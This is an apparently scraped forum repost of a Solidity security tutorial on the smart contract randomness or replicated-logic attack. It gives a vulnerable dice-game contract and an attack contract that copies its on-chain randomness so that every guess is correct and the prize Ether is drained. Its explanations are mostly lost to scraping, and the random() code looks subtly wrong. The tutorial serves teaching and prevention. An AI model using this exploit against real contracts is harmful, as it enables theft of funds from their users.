![]() |
|
[Tut] Smart Contract Randomness or ReplicatedLogic Attack - Printable Version +- Sick Gaming (https://sickgaming.net) +-- Forum: Programming (https://sickgaming.net/forum-76.html) +--- Forum: Python (https://sickgaming.net/forum-83.html) +--- Thread: [Tut] Smart Contract Randomness or ReplicatedLogic Attack (/thread-99522.html) |
[Tut] Smart Contract Randomness or ReplicatedLogic Attack - xSicKxBot - 06-07-2022 Smart Contract Randomness or ReplicatedLogic Attack 5/5 – (1 vote) This is part 7 and a continuation of the Smart Contract Security Series.
In this tutorial, the randomness attack or also called replicated logic attack is analyzed. The problem in Solidity contracts is finding the true source of randomness. We will see how generating a random number using on chain data cannot be trusted. The tutorial starts with exploiting the randomness vulnerability, followed by the possible solutions. Let us begin the exploration! Exploit To explain this exploit, you can consider any game where the user is asked to guess a random number such as a dice number, a card from a pack of cards, or an online lottery contract. To keep it simple consider a contract game for guessing a dice. The user is asked to guess a dice number between 1 to 6, and if it matches the random number generated in the contract, then the user is awarded a prize of 1 Ether. The contract code for Code: DiceGame.solCode: contract DiceGame
{ constructor() payable{ } function guess_the_dice(uint8 _guessDice) public { uint8 dice = random(); if (dice == _guessDice) { (bool sent, ) = msg.sender.call{value: 1 ether}(""); require(sent , "failed to transfer"); } } // source of randomness (1-6) function random() private view returns (uint8) { uint256 blockValue = uint256(blockhash(block.number-1 + block.timestamp)); return uint8(blockValue % 5) + 1; }
}The contract logic is briefly explained.
The Code: attack.solCode: contract Attack{ DiceGame dicegame; constructor(DiceGame _addrDicegame) { dicegame = _addrDicegame; } function attack() public{ uint8 guess= random(); dicegame.guess_the_dice(guess); } // source of randomness (1-6) copied from the DiceGame contract function random() private view returns (uint8) { uint256 blockValue = uint256(blockhash(block.number-1 + block.timestamp)); return uint8(blockValue % 5) + 1; } // gets called to rx ether receive() external payable {} function get_balance() public view returns(uint256) { return address(this).balance; } }The attack contract logic in detail.
Copy the contracts in Remix and execute them. How the Exploit Occurred As you can see, every time the attacker calls the Code: attack()Code: guess_the_dice()Code: DiceGameAs the Code: random()Code: DiceGameCode: attack()Code: guess_the_dice()How to Prevent the Attack
Summary In this tutorial, we saw how assuming that the on-chain data related to blockchain such as Code: block.timestampCode: block.numberWhile it is true that in computer science it is hard to generate a true random number with the help of an algorithm, some functions are better than the others and chainlink VRF is one such function that helps in generating a provably fair and verifiable random number. Programmer Humor Code: Q: How do you tell an introverted computer scientist from an extroverted computer scientist? A: An extroverted computer scientist looks at your shoes when he talks to you.
|